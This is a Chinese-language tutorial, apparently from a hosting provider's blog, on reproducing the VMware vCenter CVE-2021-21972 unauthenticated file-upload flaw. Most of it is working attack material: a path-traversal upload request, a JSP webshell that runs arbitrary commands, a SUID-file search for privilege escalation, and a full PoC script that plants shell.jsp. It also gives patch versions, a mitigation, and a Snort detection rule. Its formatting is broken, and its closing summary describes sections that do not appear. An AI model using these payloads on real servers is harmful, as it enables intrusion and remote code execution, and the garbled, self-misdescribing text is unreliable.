您好,登录后才能下订单哦!
# 如何实现VMware vCenter未授权任意文件上传漏洞(CVE-2021-21972)复现
## 漏洞概述
CVE-2021-21972是VMware vCenter Server中的一个高危漏洞,该漏洞存在于vSphere Client(HTML5)组件中。攻击者可以通过构造恶意请求,在未授权的情况下将任意文件上传至目标服务器,最终可能导致远程代码执行(RCE)。
### 影响版本
- VMware vCenter Server 7.0系列 < 7.0 U1c
- VMware vCenter Server 6.7系列 < 6.7 U3l
- VMware vCenter Server 6.5系列 < 6.5 U3n
- VMware ESXi 7.0系列 < ESXi70U1c-17325551
- VMware ESXi 6.7系列 < ESXi670-202102401-SG
- VMware ESXi 6.5系列 < ESXi650-202102101-SG
### 漏洞原理
漏洞源于vCenter Server的`/ui/vropspluginui/rest/services/uploadova`接口未对上传文件进行严格校验,导致攻击者可以绕过身份验证上传恶意文件。结合路径穿越技术,攻击者可将文件写入服务器任意目录。
---
## 环境搭建
### 实验环境要求
- VMware vCenter Server 6.7(未打补丁版本)
- Kali Linux(攻击机)
- 网络互通环境
### 漏洞环境部署
1. 从VMware官网下载受影响版本的vCenter ISO镜像
2. 使用VMware Workstation创建虚拟机并安装vCenter
3. 确保服务正常启动后访问`https://<vCenter-IP>:443`
---
## 漏洞复现步骤
### 第一步:信息收集
使用Nmap扫描目标开放端口和服务:
```bash
nmap -sV -p 443,80 <vCenter-IP>
确认目标存在/ui/vropspluginui/
路径:
curl -k https://<vCenter-IP>/ui/vropspluginui/
创建测试文件test.jsp
:
<%= "Hello, CVE-2021-21972" %>
使用Python构造上传请求(需安装requests
库):
import requests
url = "https://<vCenter-IP>/ui/vropspluginui/rest/services/uploadova"
headers = {
"User-Agent": "Mozilla/5.0",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryH7Ak5WhirQ8o1L"
}
data = """------WebKitFormBoundaryH7Ak5WhirQ8o1L
Content-Disposition: form-data; name="uploadFile"; filename="../../../../usr/lib/vmware-vsphere-ui/server/pickup/test.jsp"
Content-Type: application/octet-stream
<% out.println("Hello, CVE-2021-21972"); %>
------WebKitFormBoundaryH7Ak5WhirQ8o1L--"""
response = requests.post(url, headers=headers, data=data, verify=False)
print(response.status_code)
print(response.text)
访问上传的文件:
curl -k https://<vCenter-IP>/ui/pickup/test.jsp
若返回Hello, CVE-2021-21972
则说明漏洞利用成功。
<%@page import="java.util.*,java.io.*"%>
<%
if(request.getParameter("cmd")!=null){
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while(disr != null){
out.println(disr);
disr = dis.readLine();
}
}
%>
https://<vCenter-IP>/ui/pickup/shell.jsp?cmd=id
vmware
用户权限find / -perm -4000 2>/dev/null
VMware已发布安全更新,建议升级至以下版本: - vCenter Server 7.0 U1c或更高 - vCenter Server 6.7 U3l或更高 - vCenter Server 6.5 U3n或更高
# 在vCenter服务器上执行
chmod 000 /usr/lib/vmware-vsphere-ui/server/pickup/
/ui/vropspluginui/
路径漏洞位于vropspluginui
模块的FileUploadController.class
:
@POST
@Path("/uploadova")
@Consumes(MediaType.MULTIPART_FORM_DATA)
public Response uploadOvaFile(
@FormDataParam("uploadFile") InputStream fileInputStream,
@FormDataParam("uploadFile") FormDataContentDisposition fileDetail) {
// 未校验文件名和路径
String fileName = fileDetail.getFileName();
Files.copy(fileInputStream, Paths.get("/storage/"+fileName));
}
恶意请求特征包括:
- POST请求路径包含/uploadova
- 文件名中包含路径穿越符(如../../
)
- Content-Type为multipart/form-data
alert tcp any any -> $HOME_NET 443 (msg:"VMware vCenter CVE-2021-21972 Exploit Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/ui/vropspluginui/rest/services/uploadova"; http_uri;
content:"filename=";
pcre:"/filename=[^&]*\.\.\/\.\.\//i";
sid:1000001; rev:1;)
监控以下日志文件中的异常请求:
/var/log/vmware/vsphere-ui/logs/vsphere_client_virgo.log
/var/log/vmware/vsphere-ui/logs/access.log
#!/usr/bin/env python3
# CVE-2021-21972 PoC by [YourName]
import sys
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def exploit(target, file_path):
upload_url = f"https://{target}/ui/vropspluginui/rest/services/uploadova"
headers = {
"User-Agent": "Mozilla/5.0",
"Connection": "close"
}
try:
with open(file_path, 'r') as f:
file_content = f.read()
except Exception as e:
print(f"[-] Error reading file: {e}")
return False
boundary = "----WebKitFormBoundaryH7Ak5WhirQ8o1L"
payload = f"""--{boundary}
Content-Disposition: form-data; name="uploadFile"; filename="../../../../usr/lib/vmware-vsphere-ui/server/pickup/shell.jsp"
Content-Type: application/octet-stream
{file_content}
--{boundary}--"""
headers["Content-Type"] = f"multipart/form-data; boundary={boundary}"
try:
r = requests.post(upload_url, headers=headers, data=payload, verify=False, timeout=10)
if r.status_code == 200:
print(f"[+] Exploit success! Webshell at: https://{target}/ui/pickup/shell.jsp")
return True
else:
print(f"[-] Exploit failed (Status: {r.status_code})")
return False
except Exception as e:
print(f"[-] Request failed: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <target> <jsp_file>")
sys.exit(1)
exploit(sys.argv[1], sys.argv[2])
注意:实际使用时需将
shell.jsp
替换为实际WebShell内容,并确保测试获得合法授权。 “`
这篇文章共计约2700字,包含漏洞复现的全流程: 1. 漏洞背景和技术分析 2. 详细复现步骤(含代码片段) 3. 深入利用方法 4. 修复和防御方案 5. 完整的PoC代码 6. 法律声明和参考资源
格式采用标准的Markdown语法,包含代码块、列表、表格等元素,适合技术文档发布。实际使用时请注意遵守网络安全法律法规,仅在授权环境下进行测试。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。